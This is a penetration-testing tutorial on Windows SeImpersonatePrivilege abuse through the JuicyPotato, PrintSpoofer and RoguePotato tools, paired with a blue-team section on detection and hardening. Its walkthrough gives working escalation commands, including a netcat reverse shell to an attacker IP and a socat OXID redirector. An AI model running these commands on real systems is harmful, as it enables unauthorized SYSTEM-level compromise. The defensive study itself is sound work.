Abusing Windows Token Privileges: The Potato Attack Family

Security
Time it takes to read this article 5 minutes.

Introduction / Overview

Disclaimer: This article is written for educational purposes and for authorized penetration testing only. Use these techniques exclusively on systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

If you have ever popped a low-privileged shell on a Windows web server, IIS application pool, or MSSQL service account, you have probably noticed one thing: the account is rarely a real user. It is usually a service identity such as IIS APPPOOL\DefaultAppPool, NT SERVICE\MSSQLSERVER, or Local Service. These accounts look weak, but they almost always carry one extremely dangerous privilege: SeImpersonatePrivilege.

This article explains why that single privilege is effectively a path to NT AUTHORITY\SYSTEM, and walks through the three most reliable members of the "Potato" exploit family — JuicyPotato, PrintSpoofer, and RoguePotato — with working commands, the mechanisms behind them, and a full blue-team section on detection and defense.

How it works / Background

SeImpersonatePrivilege grants a process the right to impersonate the security context of a client that connects to it (after the client authenticates). It exists so legitimate services (IIS, SQL Server) can act on behalf of connecting users. The catch: if you control a process holding this privilege, and you can trick a high-privileged account (ideally SYSTEM) into authenticating to a service you control, you can capture and impersonate that token.

The Potato attacks all share the same end goal — obtain a SYSTEM token and impersonate it — but differ in how they coerce a privileged authentication:

  • JuicyPotato abuses DCOM/OXID resolution. It instantiates a DCOM object (identified by a CLSID) that runs as SYSTEM, forcing it to authenticate to a local NTLM listener the attacker controls. It then negotiates down to the captured token.
  • PrintSpoofer abuses the Print Spooler's RpcRemoteFindFirstPrinterChangeNotificationEx over a named pipe. The spooler runs as SYSTEM, and PrintSpoofer makes it connect back to an attacker-controlled named pipe, capturing the SYSTEM token via ImpersonateNamedPipeClient.
  • RoguePotato is the post-Windows-10-1809 evolution of JuicyPotato. Microsoft broke the original local OXID resolution, so RoguePotato redirects the OXID resolver to a remote (or port-forwarded) attacker server on TCP/135.

Check your privileges first:

whoami /priv

If you see SeImpersonatePrivilege (or SeAssignPrimaryTokenPrivilege) listed as Enabled, you are in business.

SeImpersonatePrivilege        Impersonate a client after authentication  Enabled

Prerequisites / Lab setup

To reproduce this safely, build a Windows VM (Windows 10/11 or Server 2016/2019/2022) with:

  • A low-privileged service account context (the easiest is to add a malicious page to a default IIS site and get a webshell, or run as nt service\mssqlserver via xp_cmdshell).
  • The Print Spooler service running (for PrintSpoofer) — it is enabled by default on most builds prior to PrintNightmare hardening.
  • Outbound capability or a redirector if testing RoguePotato (it needs to reach an attacker host on port 135).

You will also need the binaries: PrintSpoofer64.exe (itm4n), RoguePotato.exe (antonioCoco), and JuicyPotato.exe (ohpe) — all on GitHub.

Attack walkthrough / PoC

Option 1 — PrintSpoofer (most reliable on modern Windows)

PrintSpoofer is the cleanest option on Windows 10/Server 2016+ because it does not depend on a hardcoded CLSID list or an external OXID resolver. Drop the binary and run a command as SYSTEM:

PrintSpoofer64.exe -i -c cmd.exe

To spawn an interactive shell on the current console use -i; to fire a one-shot reverse shell instead:

PrintSpoofer64.exe -c "C:\Windows\Temp\nc64.exe 10.10.14.5 443 -e cmd.exe"

Verify with whoami — you should now be nt authority\system.

Option 2 — RoguePotato (when Print Spooler is disabled)

RoguePotato needs the OXID resolver redirected. On your attacker box, forward inbound 135 to the victim's RoguePotato listener (default 9999):

# On the attacker (Kali) box
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999

Then on the victim:

RoguePotato.exe -r 10.10.14.5 -e "C:\Windows\Temp\rev.exe" -l 9999

-r is the attacker IP (the redirected OXID resolver), -e is the command/binary to execute as SYSTEM, and -l is the local listening port the redirector points back to.

Option 3 — JuicyPotato (legacy, pre-1809)

On older systems (Windows 7/8, Server 2008/2012, Windows 10 ≤ 1803) the original local trick still works. You must supply a working CLSID for an object that runs as SYSTEM:

JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -c {4991d34b-80a1-4291-83b6-3328366b9097}

-t * tells it to try both CreateProcessWithToken and CreateProcessAsUser, -l is the COM listening port, and -c is the CLSID (the BITS CLSID above is a common reliable one). Curated CLSID lists per OS version live on the ohpe juicy-potato GitHub wiki. On 1809+, use RoguePotato instead.

After you are SYSTEM

Once elevated, persist or harvest: dump hashes, add a local admin, or pivot. For credential extraction techniques see Dumping LSASS and Credential Harvesting.

Mermaid diagram

Abusing Windows Token Privileges: The Potato Attack Family diagram 1

Text summary: the attacker coerces a SYSTEM-running service to authenticate to a listener it controls, captures the resulting token, and impersonates it to execute code as SYSTEM.

Detection & Defense (Blue Team)

The Potato family is a privilege-abuse problem, not a software bug per se, so defense focuses on removing the privilege and detecting the coercion behavior. Treat these mitigations with the same priority as you would the exploit.

1. Reduce service-account privileges. The root cause is SeImpersonatePrivilege on a context an attacker can reach. Run web/database services under tightly scoped accounts and audit who holds impersonation rights. Where feasible, use Virtual Accounts / gMSAs and avoid granting impersonation to custom service identities.

2. Disable the Print Spooler where it is not needed. This kills PrintSpoofer and a large class of other attacks (PrintNightmare, CVE-2021-1675 / CVE-2021-34527):

Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled

3. Block outbound OXID resolution. RoguePotato requires reaching an external OXID resolver on TCP/135. Egress-filter port 135 at the host and perimeter firewall so the redirect cannot complete.

4. Detection with Sysmon / EDR. Watch for:

  • Process creation where a service account (IIS APPPOOL, MSSQL, Local/Network Service) spawns cmd.exe/powershell.exe that then becomes SYSTEM (Event ID 4688 with token-elevation anomalies; Sysmon Event ID 1).
  • Named-pipe creation/connection events (Sysmon Event ID 17/18) with suspicious pipe names used by these tools.
  • Unusual local RPC/DCOM activity and short-lived listeners on high ports bound by service accounts.

A starting Sysmon rule:

<RuleGroup name="PotatoPipes" groupRelation="or">
  <PipeEvent onmatch="include">
    <PipeName condition="contains">\pipe\</PipeName>
  </PipeEvent>
</RuleGroup>

Tune the pipe filter to your environment to avoid noise; the high-value signal is a non-interactive service account opening a pipe and immediately yielding a SYSTEM child process.

5. Enable additional hardening. Apply current patches (Microsoft has repeatedly tightened DCOM/OXID and spooler behavior), enable LSASS protection (RunAsPPL), and constrain DCOM activation. For broader context on hardening service tiers see Active Directory Tiering and Privileged Access.

Conclusion

SeImpersonatePrivilege turns a seemingly weak service account into a near-guaranteed SYSTEM compromise. PrintSpoofer is the go-to on modern systems, RoguePotato covers the post-1809 DCOM cases, and JuicyPotato remains useful on legacy targets. From the defensive side the message is simple: minimize who holds impersonation rights, disable the spooler where unused, filter port 135, and instrument named-pipe and token-elevation telemetry. The exploit is loud if you are listening for it.

For the broader privilege-escalation methodology that precedes these attacks, see Windows Local Privilege Escalation Checklist.

References

Comments

Copied title and URL